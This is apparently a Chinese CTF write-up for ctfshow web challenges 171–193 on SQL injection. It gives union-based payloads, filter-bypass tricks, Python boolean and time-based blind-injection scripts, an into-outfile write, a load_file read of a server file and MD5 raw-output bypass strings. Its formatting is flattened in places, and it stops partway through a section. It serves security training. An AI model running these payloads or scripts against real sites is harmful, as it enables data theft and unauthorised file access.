无过滤注入 web171 简单的查询语句,结合上方sql查询语句用-1‘ or username = ‘flag查询flag
web172 进select中无过滤2进行注入
先判断注入类型为字符型,用单引号闭合,再判断回显位置
先爆数据库名
-1 ' union select 1,database()--+
爆表名
-1 ' union select 1,group_concat(table_name) from information_schema.tables where table_schema=' ctfshow_web'--+
判断两个可疑表名ctfshow_user和ctfshow_user2
分别爆列名
-1 ' union select 1,group_concat(column_name) from information_schema.columns where table_name=' ctfshow_user'--+ -1' union select 1 ,group_concat(column_name) from information_schema.columns where table_name= 'ctfshow_user2'
发现两个表名下列名均为三个id,username,password
爆字段
-1 ' union select 1,password from ctfshow_user where username=' flag'--+
此时提示flag不在该表
换另一个表
-1 ' union select 1,password from ctfshow_user2 where username=' flag'--+
获得flag
web173 法一:直接注入 先判断列数为3
找回显和库名
爆表名
-1 ' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
爆列名
-1 ' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=' ctfshow_user3'),3--+
爆字段
-1 ' union select 1,(select password from ctfshow_user3 where username=' flag'),3--+
注意 :该返回逻辑对含有flag的字段进行限制,但是由于只是查找username为flag的项且flag以ctfshow开头未被过滤,如被过滤,可用base64编码或16进制编码后返回
if(!preg_match('/flag/i', json_encode($ret))){ $ret['msg']='查询成功'; }
该代码表示字段中如果不含有flag的大小写 (i表示匹配字段的大小写),则查询成功
法二:base64返回 -1 ' union select 1,(select TO_BASE64(password) from ctfshow_user3 where username=' flag'),3--+
解码结果为
法三:十六进制返回 -1 ' union select 1,(select HEX(password) from ctfshow_user3 where username=' flag'),3--+
解码结果为
web174 照例,先找回显和列数,但是显示无数据,且由返回逻辑可得匹配掉了flag和0-9中的数,即有回显无数据,就使用布尔盲注
法一:GET布尔盲注脚本 使用蒙师傅脚本
注意 :1.使用http而不是https,否则有ssl证书问题
2.通过提交时抓包找到提交路径即url//api/v4.php
import requests def brute_force_database_length (url, headers ): databaselen = 0 for l in range (1 ,50 ): databaselen_payload = f"?id=1' and length(database())={l} --+" response = requests.get(url + databaselen_payload, headers=headers) if 'admin' in response.text: databaselen = l break print ('数据库名字长度为: ' + str (databaselen)) return databaselen def brute_force_database_name (url, headers, databaselen ): databasename = '' for l in range (1 ,databaselen+1 ): for i in range (32 ,128 ): databasechar_payload = f"?id=1' and ascii(substr(database(),{l} ,1))='{i} '--+" response = requests.get(url + databasechar_payload, headers=headers) if 'admin' in response.text: databasename += chr (i) print (databasename) break print ('数据库名字为: ' + str (databasename)) return databasename def brute_force_table_count (url, headers, databasename ): tablecount = 0 for l in range (1 ,50 ): tablecount_payload = f"?id=1' and (select count(table_name) from information_schema.tables where table_schema='{databasename} ') ={l} --+" response = requests.get(url + tablecount_payload, headers=headers) if 'admin' in response.text: tablecount = l break print (f'表的个数为: {tablecount} ' ) return tablecount def brute_force_table_name (url, headers, tablecount,databasename ): tables=[] for t in range (0 ,tablecount): table_name = '' tablelen = 0 for l in range (1 , 50 ): tablelen_payload = f"?id=1' and length((select table_name from information_schema.tables where table_schema = '{databasename} ' limit {t+0 } , 1))={l} --+" response = requests.get(url + tablelen_payload, headers=headers) if 'admin' in response.text: tablelen = l break print (f'表{t+1 } 的长度为: {tablelen} ' ) for m in range (1 , tablelen+1 ): for i in range (32 , 128 ): table_name_payload = f"?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = '{databasename} ' limit {t+0 } , 1),{m} ,1))='{i} '--+" response = requests.get(url + table_name_payload, headers=headers) if 'admin' in response.text: table_name += chr (i) print (table_name) break print (f'表{t+1 } 的名字为: {table_name} ' ) tables.append(table_name) return tables ''' #爆破字段的个数 def brute_force_column_count(url, headers, tables): column_count = 0 for l in range(1, 50): column_countpayload = f"?id=1' and (select count(column_name) from information_schema.columns where table_name='{tables}')={l}--+" response = requests.get(url + column_countpayload, headers=headers) if 'admin'in response.text: column_count = l break print(f'表 {tables} 有 {column_count} 字段.') return column_count #查询表中字段 def brute_force_column_name(url, headers,tables, column_count): columns = [] for c in range(column_count): column_name = '' for l in range(1, 50): column_count_payload = f"?id=1' and length((SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name='{tables}' LIMIT {c},1))={l}--+" response = requests.get(url + column_count_payload, headers=headers) if 'admin'in response.text: column_count = l print(f'表 {tables} 中字段 {c+1} 的个数为: {column_count}') for m in range(1, column_count+1): for i in range(32, 128): column_name_payload = f"?id=1' and ascii(SUBSTR((SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name='{tables}' LIMIT {c},1),{m},1))='{i}'--+" response = requests.get(url + column_name_payload, headers=headers) if 'admin'in response.text: column_name += chr(i) print(column_name) break print(f'表 {tables} 中字段 {c+1} 的名字为: {column_name}') columns.append(column_name) return columns ''' def brute_force_table_data (url, headers,tables ): data = '' for c in range (0 ,100 ): for i in range (32 ,128 ): data_payload = f"?id=1' and ascii(substr((select password from {tables} where username='flag'),{c+0 } ,1))='{i} '--+" response = requests.get(url + data_payload, headers=headers) if 'admin' in response.text: data += chr (i) print (data) break print ('flag为: ' + str (data)) return data if __name__ == "__main__" : url = 'http://517733eb-2fdd-42a3-b505-c115fa0cd246.challenge.ctf.show//api/v4.php' success_message = "admin" headers = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0' } databaselen = brute_force_database_length(url, headers) databasename = brute_force_database_name(url, headers, databaselen) tablecount = brute_force_table_count(url, headers, databasename) tables = brute_force_table_name(url, headers, tablecount, databasename) for table in tables: data = brute_force_table_data(url, headers,table)
运行得到flag,且脚本更改url即可使用(极为方便!)
法二:转码返回 用到replace函数
replace(str,a,b) 在str中将a替换成b
直接写payload,注意,在语句中替换时不能替换为#和&
-1 ' union select ' a',(select REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,' 0 ',' @'),' 1 ',' `'),' 2 ',' $'),' 3 ',' % '),' 4 ',' ^ '),' 5 ',' ~ '),' 6 ',' * '),' 7 ',' (' ),' 8 ',' )'),' 9 ',' = ') from ctfshow_user4 where username=' flag')--+
直接转换后得到flag
def decode_string (input_string ): mapping = { '@' : '0' , '`' : '1' , '$' : '2' , '%' : '3' , '^' : '4' , '~' : '5' , '*' : '6' , '(' : '7' , ')' : '8' , '=' : '9' } decoded_chars = [mapping.get(char, char) for char in input_string] decoded_string = '' .join(decoded_chars) return decoded_string input_str = "ctfshow{aa$ea*ae-`c$@-^$c`-bbd@-~($=e~bc*^c@}" decoded_str = decode_string(input_str) print ("Decoded string:" , decoded_str)
web175 先看返回逻辑
//检查结果是否有flag if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){ $ret['msg']='查询成功'; }
可判断返回时所以ASCII码中字符均被过滤,即无回显,用时间盲注来判断
[sql注入-盲注]: sql注入-盲注 | Yxing
法一:GET时间盲注脚本 还是使用蒙师傅脚本(蒙师傅真是太厉害了)
import requestsimport datetimeimport timedef brute_force_table_data (url ): data = '' for c in range (0 ,100 ): for i in range (32 ,128 ): payload = f"?id=1' and if(ascii(substr((select password from ctfshow_user5 where username='flag'),{c+0 } ,1))='{i} ',sleep(5),0)--+" time1 = datetime.datetime.now() r = requests.get(url + payload) time2 = datetime.datetime.now() sec = (time2 - time1).seconds if sec >= 5 : data += chr (i) print (data) break print ('flag为: ' + str (data)) return data if __name__ == "__main__" : url = 'http://7d3a021e-75e1-4d2f-b4f3-f7730ae28d82.challenge.ctf.show//api/v5.php' flag = brute_force_table_data(url)
运行结果(最后的flag为没等了)
注:1.他写的休眠时间和判断时间为时间大于5秒,我改成2秒,第一个字符就错了,后面不知道还会不会错(已老实),所以根据蒙师傅的经验,时间长一点好(后面又去请教了原因,和平时手工注入是一样的,平时都可能有网络延迟,所以说这也有可能,长一点可以减少误差)
2.着重注意payload
for c in range (0 ,100 ): for i in range (32 ,128 ): payload = f"?id=1' and if(ascii(substr((select password from ctfshow_user5 where username='flag'),{c+0 } ,1))='{i} ',sleep(5),0)--+"
剖析一下
(select password from ctfshow_user5 where username= 'flag' )
子查询语句,更美观高效,但是要记住select
从字符串中查找子字符串,遍历整个flag,在string中c+0的位置开始每次读取一个
ascii(substr((select password from ctfshow_user5 where username= 'flag' ),{c+ 0 },1 ))= '{i}'
将上面的字符通过ascii函数返回ascii值
if(ascii(substr((select password from ctfshow_user5 where username= 'flag' ),{c+ 0 },1 ))= '{i}' ,sleep(5 ),0 )
如果该字符ascii值符合i的值就休眠5秒,否则下一个
前面就是很正常的id闭合,后面–+注释
法二:读写文件 ' union select username, password from ctfshow_user5 into outfile ' / var/ www/ html/ flag.txt' %23
将username和password写入flag.txt,再去读取该文件
PS:这个还挺方便
过滤注入 web176(过滤select) 先判断列数为3
回显时出错
测试发现过滤select(双写好像绕不过,通过大小写绕过)
后面就可以进行正常的sql注入步骤
爆库名
-1 ' union Select 1,(database()),3--+
爆表名
-1 ' union Select 1,(Select group_concat(table_name) from information_schema.tables where table_schema=' ctfshow_web'),3--+
爆列名
-1 ' union Select 1,(Select group_concat(column_name) from information_schema.columns where table_name=' ctfshow_user'),3--+
爆数据
-1 ' union Select 1,(Select password from ctfshow_user where username=' flag'),3--+
web177(过滤空格,注释符) 还是先判断过滤,当看到6时都是无数据就包是过滤了该语句的什么的
当将–+替换为%23(#的url编码)时仍然无数据,考虑空格被过滤了,但是空格绕过后没想到也不行,那就是空格和注释符一起过滤了
最终一起绕过后成功
然后就又是一样的步骤
爆库名
-1 '/**/union/**/select/**/1,database()/**/,3%23
爆表名
-1 '/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema=' ctfshow_web'),3%23
爆列名
-1 '/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name=' ctfshow_user'),3%23
爆数据
-1 '/**/union/**/select/**/1,(select/**/group_concat(username,' ~ ',password)from/**/ctfshow_user/**/where/**/username=' flag'),3%23
**补充:**在看蒙师傅博客时还发现176,177另一种解法,直接通过万能密码绕过限制,直接就可以查询(由于176过滤select,所以该万能密码不用改格式),简单快捷高效
176(新开的一个环境,所以flag不一样了)
177亲测有效
web178(过滤空格,*) 这次学聪明了,先用万能密码试试水(直接用%23绕过注释符过滤了,其实测出来也确实有过滤)
再把空格用/**/替换,还是不行,推测可能是把/**/一起过滤了,用%0c(换页符),%09(制表符)绕过就行
然后就直接出来了(万能密码好快。。。),就可以交了,不过也可以自己多试试去慢慢注入
web179(过滤空格,%09) 测试过滤,还是先用万能密码试试水
无数据,就说明里面又有什么被过滤了,这里我有个点就是第一个空格用%09,第二个空格用%0c,没数据就误以为不对(还以为%被过滤了),后面看蒙师傅博客才知道就只过滤了%09,所以两个都用%0c绕过就行了
PS:万能密码好!!!!!
web180(过滤%23,空格) 用万能密码进行空格绕过仍无数据,可能对注释符%23进行过滤,那现在就有绕过该过滤和闭合后引号两个办法
法一:绕过%23过滤 将payload中%23改为–%0c,即可绕过过滤
法二:闭合后引号 进行测试,有回显,表示可以成功闭合
找回显
爆库名
-1 '%0cunion%0cselect%0c1,(database()),' 3
爆表名
-1 '%0cunion%0cselect%0c1,(select%0cgroup_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema=' ctfshow_web'),' 3
爆列名
-1 '%0cunion%0cselect%0c1,(select%0cgroup_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name=' ctfshow_user'),' 3
爆数据(由于重开了环境flag不同了)
-1 '%0cunion%0cselect%0c1,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername=' flag'),' 3
补充:burpsuite Fuzzing 看蒙师傅博客看到了一种找过滤字符的方法,通过bp攻击来找到过滤字符
首先下载爆破字典Fuzzdb:https://github.com/fuzzdb-project/fuzzdb
然后bp抓包在id位置加变量
导入刚才下载的文件进行攻击
fuzzdb-master\attack\sql-injection\detect\xplatform.txt
通过返回包长度来判断哪些字符被过滤
web181(过滤空格) 根据该题目返回逻辑中可知对输入字符进行了过滤
function waf ($str ) {return preg_match ('/|\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i' ,$str ); }preg_match (a,b)表示在b中查找a,如果匹配上则返回1 (匹配成功),否则返回0 :匹配空格字符。 \*:匹配星号字符(*),在正则表达式中需要转义。 \x09:匹配水平制表符(Tab)。 \x0a:匹配换行符(LF)。 \x0b:匹配垂直制表符。 \x0c:匹配换页符。 \x00:匹配空字符(NULL )。 \x0d:匹配回车符(CR)。 \xa0:匹配不间断空格。 \x23:匹配井号( \ file:匹配文本“file”。 into:匹配文本“into”。 select:匹配文本“select”。
(做题时候没有思路,感觉都被禁完了,去看了wp和蒙师傅博客才知道%0c其实没有被禁,还是要自己多尝试)
既然%0c没有过滤,那就可以用万能密码直接做出来
1 '%0cor%0c1=1--%0c 注意万能密码写法,第一次写成1' % 0 cor1= 1 也可写成以下形式 1 '%0cor' 1 '=' 1 '--%0c 1' % 0 cor% 0 c1= 1 看wp也有不用万能密码,直接使用查找 'or(username)=' flag9999 'or`username`=' flagid= 0 '||username=' flag
web182(过滤+flag) 先分析传入参数过滤逻辑
function waf ($str ) { return preg_match ('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i' , $str ); } 比上一题多过滤一个flag,那最后那几个直接查找的就不行了,试试万能密码
经过测试和上题一样未过滤%0c,由此万能密码1'%0cor%0c1=1--%0c
注入
web183(POST布尔盲注) 首先发现该题没有搜索框了,重新查看查询语句发现需要post传参tableName
根据返回逻辑判断过滤参数
function waf ($str ) { return preg_match ('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i' , $str ); } :匹配空格字符。 \*:匹配星号字符(*),需要转义。 \x09:匹配水平制表符(Tab)。 \x0a:匹配换行符(LF)。 \x0b:匹配垂直制表符。 \x0c:匹配换页符。 \x0d:匹配回车符(CR)。 \xa0:匹配不间断空格。 \x00:匹配空字符(NULL )。 \ \x23:匹配井号( \=:匹配等号(=),需要转义。 or :匹配文本“or ”。\x7c:匹配竖线(|),需要转义。 select:匹配文本“select”。 and :匹配文本“and ”。flag:匹配文本“flag”。 into:匹配文本“into”。
该题的逻辑就是post向tableName传表名,通过返回的表中记录总数多少来进行布尔盲注
先传参为ctfshow_user,为可用表名,再从里面跑脚本爆数据
使用蒙师傅脚本
import requestsurl = 'http://48fa3a20-1717-4446-b1f5-706654acf25b.challenge.ctf.show/select-waf.php' strlist = '{}0123456789-abdcefghijklmnopqrstuvwxyz_' flag = '' for j in range (0 , 100 ): for i in strlist: data = { 'tableName' : "`ctfshow_user`where`pass`like'ctfshow{}%'" .format (flag+i) } respond = requests.post(url, data=data) respond = respond.text if 'user_count = 1' in respond: flag += i print ('ctfshow{}' .format (flag)) break else :print ('===================' +i+'错误' ) if flag[-1 ] == '}' : exit() print ('ctfshow{}' .format (flag))
web184(POST布尔盲注) function waf($str){ return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str); } 发现sleep,`也被禁了,说明上一题也可以用时间盲注出结果,不过这一题依旧布尔盲注
ctfshow_user为可用表名
看了wp里一个师傅的对上题代码进行修改,成功获得flag
import requestsimport sysurl = 'http://d9d9f822-405c-457e-abc9-bdb088661e6c.challenge.ctf.show/select-waf.php' strlist = '{0123456789-abcdefghijklmnopqrstuvwxyz}' flag = '' c='' d='' for j in range (0 , 100 ): for i in strlist: d =hex (ord (i))[2 :] data = { 'tableName' :"ctfshow_user group by pass having pass regexp(0x{})" .format (flag+d) } respond = requests.post(url, data=data) respond = respond.text if 'user_count = 1' in respond: flag += d c+=i print ('ctfshow{}' .format (c)) break if c[-1 ] == '}' : exit() print ('ctfshow{}' .format (c))
web185(布尔盲注过滤0-9) function waf ($str ) { return preg_match ('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i' , $str ); } \*:匹配星号(*)字符。 \x09:匹配水平制表符(Tab)。 \x0a:匹配换行符(New Line)。 \x0b:匹配垂直制表符。 \x0c:匹配换页符。 \0x0d :匹配回车符(Carriage Return)。 \xa0:匹配不换行空格(Non-breaking Space)。 \x00:匹配空字符(Null Byte)。 \x23:匹配井号( [0 -9 ]:匹配任何数字。 file:匹配字符串“file”。 =:匹配等号(=)。 or :匹配字符串“or ”。\x7c:匹配竖线(Pipe)字符。 select:匹配字符串“select”。 and :匹配字符串“and ”。flag:匹配字符串“flag”。 into:匹配字符串“into”。 where:匹配字符串“where”。 &:匹配和号(Ampersand)。 \' 和 \":分别匹配单引号和双引号。 union:匹配字符串“union”。 ```:匹配反引号(Backtick),MySQL中用于标识标识符。 sleep:匹配字符串“sleep”。 benchmark:匹配字符串“benchmark”。
这个题对数字0-9进行过滤,因此像上一个题一样用十六进制转换不能成功,贴一个师傅的脚本
import requestsdef creatNum (n ): str = '' for i in range (1 ,n+1 ): if i == 1 : str += "true" else : str += "+true" return str def creatStr (str ): res = "" for i in range (1 ,len (str )+1 ): temp = ord (str [i-1 ]) if i == 1 : res = "chr(" + creatNum(temp) + ")" else : res += "," + "chr(" + creatNum(temp) + ")" return res url = "http://f1273616-5765-47ae-bb82-0a287117cb02.challenge.ctf.show/select-waf.php" letters = letter = r"{0123456789abcdefg-}hijklmnopqrstuvwxyz" flag = "ctfshow{" for i in range (50 ): for ch in letters: result = creatStr(flag + ch) data = {"tableName" :"ctfshow_user group by pass having pass regexp(concat({}))" .format (result)} res = requests.post(url = url, data = data) if "$user_count = 1;" in res.text: flag += ch print (flag) break
主要是通过将传入数字,字母和符号转换为true+true的形式,类似于自增,实现绕过0-9限制,运行得到结果
web186(布尔盲注过滤引号)
function waf ($str ) { return preg_match ('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i' , $str ); } \*:星号,用于匹配任何字符。 \x09、\x0a、\x0b、\x0c、\x0d:分别代表制表符、换行符、回车符、换页符、回车符。 \xa0:不间断空格。 \%:百分号,用于匹配SQL语句中的通配符。 |:管道符,用于匹配SQL语句中的逻辑或。 <、>:小于、大于符号,用于匹配HTML标签。 \^:脱字符,用于匹配SQL语句中的逻辑非。 \x00:空字符。 \ [0 -9 ]:数字,用于匹配数字类型的注入。 file:文件操作相关的关键词。 =:等号,用于匹配赋值操作。 or 、and :逻辑运算符。\x7c:竖线,用于匹配SQL语句中的逻辑或。 select、and 、flag、into、where:SQL语句中的关键词。 \x26:和符号,用于匹配逻辑与。 '、":单引号和双引号,用于匹配SQL注入中的引号。 union:SQL语句中的联合查询关键词。 ``:反引号,用于匹配MySQL中的表名或列名。 sleep、benchmark:SQL函数,用于时间盲注攻击。
发现依旧没过滤上题脚本中的字符,因此可继续使用上题脚本获得flag
web187(MD5函数绕过)
换题型了,该题目含义也就是限定username为admin,通过password传参来实现
$password = md5 ($_POST ['password' ],true );关键代码,实现了post传入的password参数以16 字符的二进制形式返回,如果使得返回'or' 1 (不为0 开头的任何数)就能使查询语句拼接为 password= '' or '1(真)'
补充:php中md5()函数 语法 md5 (string ,true /false /空)string 为必需字符串若第二个变量为true ,会输出原始16 字符二进制格式;为false ,会输出32 字符十六进制数(默认)
强弱比较及绕过 强比较(===):先比较类型再比较值
弱比较(==):先将类型转换再比较值,比如字符串与数字比较则先将字符串转换为数字再进行比较
以下为常见绕过方法(MD5函数中均进行运算再计算MD5值)
1.0e绕过(科学计数法绕过) 以0e开头的数运算后均为0
变式:字符串若计算MD5值后为0e开头,则该值会被计算为0,比如题目(md5(a)==0),则可通过传入QNKCDZO等绕过
2.数组绕过 md5函数不能处理数组,因此处理数组时,都会返回null,因此在强比较时传入数组会使值相等,GET传参时可使用a[]=1&b[]=2来使两个值相等
3.运算配合类型转换绕过 md5() 遇到运算符,会先运算,再计算结果的MD5值。
当字符串与数字类型运算时,会将字符串转换成数字类型,再参与运算,最后计算运算结果的MD5值。
4.类型转换绕过 虽然 md5() 要求传入字符串,但传入整数或小数也不会报错;数字相同时,数值型和字符串的计算结果是相同的。
注意:MD5常见密码 字符型:ffifdyop
数字型:129581926211651571912466741651878684928
因此这里选择字符型密码,bp抓包重发获得flag
web188(MD5弱比较) if (preg_match ('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); } if (!is_numeric ($password )){ $ret ['msg' ]='密码只能为数字' ; die (json_encode ($ret )); } if ($row ['pass' ]==intval ($password )){ $ret ['msg' ]='登陆成功' ; array_push ($ret ['data' ], array ('flag' =>$flag )); }
再观察查询语句发现username用{}包裹,即不用考虑闭合
由MD5弱比较(见web187)得,当输入username和password为0时,会匹配所有开头为0或字母的用户,因此直接均输入0则登录成功
布尔盲注 web189(读文件中字符) 注入过程
依旧进行上题的尝试均传入0,但是提示密码错误,那就说明存在用户但是密码不对;username传入1,password传入0时提示查询失败,那就说明用户不存在。题目提示flag在api/index.php文件中,即使用盲注,贴个脚本
import requestsurl = "http://64c78e0d-d38a-468b-b869-a95fa43912ca.challenge.ctf.show/api/" flagstr = "}{<>$=,;_ 'abcdefghijklmnopqr-stuvwxyz0123456789" flag = "" for i in range (257 , 257 + 60 ): for x in flagstr: data = { "username" : f"if(substr(load_file('/var/www/html/api/index.php'),{i} ,1)='{x} ',1,0)" , "password" : "0" } print (data) response = requests.post(url, data=data) if "8d25" in response.text: print (f"++++++++++++++++++ {x} is right" ) flag += x print (flag) break else : continue if "}" in flag: print (flag) exit() print (flag)
运行该脚本获得flag
补充:load_file()函数 #语法 load_file(file_name) 可以返回指定文件的内容,前提是 MySQL 用户具有访问该文件的权限,并且 MySQL 服务器能够读取该文件。 file_name:要读取的文件的完整路径,通常需要用单引号括起来,例如 'C:/path/to/file.txt'
web190(无过滤) 先随便输入一个username=admin,password=1,显示密码错误,说明有admin这个用户但是密码不对,如果输入的是username=1,password=1,显示用户不存在,说明可用admin这个用户来构造payload
构造payload来进行测试,已知库名为ctfshow_web,长度为11,注意这里注释符仅可以使用#,如果是%23,–+都不行
admin' and length(database())=11#显示密码错误 admin' and length(database())=12#显示用户不存在
通过布尔盲注脚本,进行注入
爆库名
import requestsurl="http://0e98cf1d-6b5d-42d6-bf2e-aaf371ac4a82.challenge.ctf.show/api/" database_name ="" for i in range (1 ,100 ): found_character = False for j in range (32 ,128 ): data={ "username" : f"admin' and ascii(substr(database(),{i} ,1))='{j} '#" , "password" : "1" } r = requests.post(url, data=data) if "u8bef" in r.text: database_name += chr (j) print (database_name) found_character = True break if not found_character: print ('未找到更多字符,结束循环。' ) break print ('数据库名字为: ' + str (database_name))
爆表名
import requestsurl="http://0e98cf1d-6b5d-42d6-bf2e-aaf371ac4a82.challenge.ctf.show/api/" table_name ="" for i in range (1 ,100 ): found_character = False for j in range (32 ,128 ): data={ "username" : f"admin' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{i} ,1))='{j} '#" , "password" : "1" } r = requests.post(url, data=data) if "u8bef" in r.text: table_name += chr (j) print (table_name) found_character = True break if not found_character: print ('未找到更多字符,结束循环。' ) break print ('数据表名字为: ' + str (table_name))
爆列名
import requestsurl="http://0e98cf1d-6b5d-42d6-bf2e-aaf371ac4a82.challenge.ctf.show/api/" column_name ="" for i in range (1 ,100 ): found_character = False for j in range (32 ,128 ): data={ "username" : f"admin' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{i} ,1))='{j} '#" , "password" : "1" } r = requests.post(url, data=data) if "u8bef" in r.text: column_name += chr (j) print (column_name) found_character = True break if not found_character: print ('未找到更多字符,结束循环。' ) break print ('列名为: ' + str (column_name))
爆数据
import requestsurl="http://0e98cf1d-6b5d-42d6-bf2e-aaf371ac4a82.challenge.ctf.show/api/" flag ="" for i in range (1 ,100 ): found_character = False for j in range (32 ,128 ): data={ "username" : f"admin' and ascii(substr((select f1ag from ctfshow_fl0g),{i} ,1))='{j} '#" , "password" : "1" } r = requests.post(url, data=data) if "u8bef" in r.text: flag += chr (j) print (flag) found_character = True break if not found_character: print ('未找到更多字符,结束循环。' ) break print ('flag为: ' + str (flag))
web191(过滤ascii) 法一:hex() 较上题过滤了ascii()函数,可通过hex绕过,注入思路相同,直接上脚本
import requestsurl="http://4402baeb-90a2-44d9-a577-ebf18276c195.challenge.ctf.show/api/" flag_name ="" hex_values = [ '20' , '21' , '22' , '23' , '24' , '25' , '26' , '27' , '28' , '29' , '2A' , '2B' , '2C' , '2D' , '2E' , '2F' , '30' , '31' , '32' , '33' , '34' , '35' , '36' , '37' , '38' , '39' , '3A' , '3B' , '3C' , '3D' , '3E' , '3F' , '40' , '41' , '42' , '43' , '44' , '45' , '46' , '47' , '48' , '49' , '4A' , '4B' , '4C' , '4D' , '4E' , '4F' , '50' , '51' , '52' , '53' , '54' , '55' , '56' , '57' , '58' , '59' , '5A' , '5B' , '5C' , '5D' , '5E' , '5F' , '60' , '61' , '62' , '63' , '64' , '65' , '66' , '67' , '68' , '69' , '6A' , '6B' , '6C' , '6D' , '6E' , '6F' , '70' , '71' , '72' , '73' , '74' , '75' , '76' , '77' , '78' , '79' , '7A' , '7B' , '7C' , '7D' , '7E' ] for i in range (1 ,100 ): found_character = False for j in hex_values: data={ "username" : f"admin' and hex(substr((select f1ag from ctfshow_fl0g),{i} ,1))='{j} '#" , "password" : "1" } r = requests.post(url, data=data) if "u8bef" in r.text: flag_name += str (j) print (flag_name) found_character = True break if not found_character: print ('未找到更多字符,结束循环。' ) break byte_data = bytes .fromhex(flag_name) string_data = byte_data.decode('utf-8' ) print ('flag为: ' + string_data)
法二:ord() 看蒙师傅博客还看到了ord函数,但是ord()主要用于MySQL数据库,且对于多字节字符(如 Unicode),返回值可以超出 127,具体取决于字符的编码方式(如 UTF-8)。直接贴个脚本
import requestsurl="http://19eb41d0-6b68-4ab3-9259-9515d5d6d490.challenge.ctf.show/api/" flag_name ="" for i in range (1 ,100 ): found_character = False for j in range (32 ,128 ): data={ "username" : f"admin' and ord(substr((select f1ag from ctfshow_fl0g),{i} ,1))='{j} '#" , "password" : "1" } r = requests.post(url, data=data) print (data) if "u8bef" in r.text: flag_name += chr (j) print (flag_name) found_character = True break if not found_character: print ('未找到更多字符,结束循环。' ) break print ('flag为: ' + str (flag_name))
web192(过滤+ord,hex) 补充:substr() 作用 用于从字符串中提取子字符串
语法 SUBSTR(string, start_position, length)
string
: 要从中提取子字符串的源字符串。
start_position
: 子字符串的起始位置。正数表示从左开始,负数表示从右开始。
length(可选)
: 提取的字符数。如果省略,则提取到字符串末尾。
示例 SELECT SUBSTR('Hello World' , 7 ); SELECT SUBSTR('Hello World' , -5 ); SELECT SUBSTR('Hello World' , 3 , 4 );
注入过程 通过截取字符串substr()函数来进行注入,直接脚本
import requestsurl="http://d3aa66d6-039b-43c6-84c3-aebdeea061ed.challenge.ctf.show/api/" flag_name ="" flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789_" for i in range (1 ,100 ): found_character = False for j in flagstr: data={ "username" : f"admin' and substr((select f1ag from ctfshow_fl0g),{i} ,1)='{j} '#" , "password" : "1" } r = requests.post(url, data=data) if "u8bef" in r.text: flag_name += j print (flag_name) found_character = True break if not found_character: print ('未找到更多字符,结束循环。' ) break print ('flag为: ' + str (flag_name))
web193(过滤+substr) 补充:substr()替换函数 注:[]表示可选
left(str,length)从左边开始截取length个长度
right(str,length)从右边开始截取length个长度
substring(str,index,[length])从左边index开始截取length个长度,无length时默认提取到结尾
mid(str,index,length)截取str从index开始,截取length的长度
lpad(str,len,padstr)在str的左边填充给定的padstr到指定的长度len,返回填充的结果
rpad(str,len,padstr)在str的右边填充给定的padstr到指定的长度len,返回填充的结果
注入过程 这里使用left,但是left是从左边开始提取全部字符,比如left(‘123456’,3)=123
注意,这里的表名变了,所以平时一定要一步步来
爆库名
import requestsurl="http://f64165e4-5ed1-4314-b82e-979035a7b676.challenge.ctf.show/api/" database_name ="" str1 ="" str2 = "}{abcdefghijklmnopqr-stuvwxyz0123456789_," for i in range (1 ,100 ): found_character = False for j in str2: data={ "username" : "admin' and left(database(),{})='{}'#" .format (i,str1+j), "password" : "1" } r = requests.post(url, data=data) if "u8bef" in r.text: database_name += j str1 += j print (database_name) found_character = True break if not found_character: print ('未找到更多字符,结束循环。' ) break print ('库名为: ' + str (database_name))
爆表名
import requestsurl="http://f64165e4-5ed1-4314-b82e-979035a7b676.challenge.ctf.show/api/" table_name ="" str1 ="" str2 = "}{abcdefghijklmnopqr-stuvwxyz0123456789_," for i in range (1 ,100 ): found_character = False for j in str2: data={ "username" : "admin' and left((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{})='{}'#" .format (i,str1+j), "password" : "1" } r = requests.post(url, data=data) if "u8bef" in r.text: table_name += j str1 += j print (table_name) found_character = True break if not found_character: print ('未找到更多字符,结束循环。' ) break print ('表名为: ' + str (table_name))
爆列名
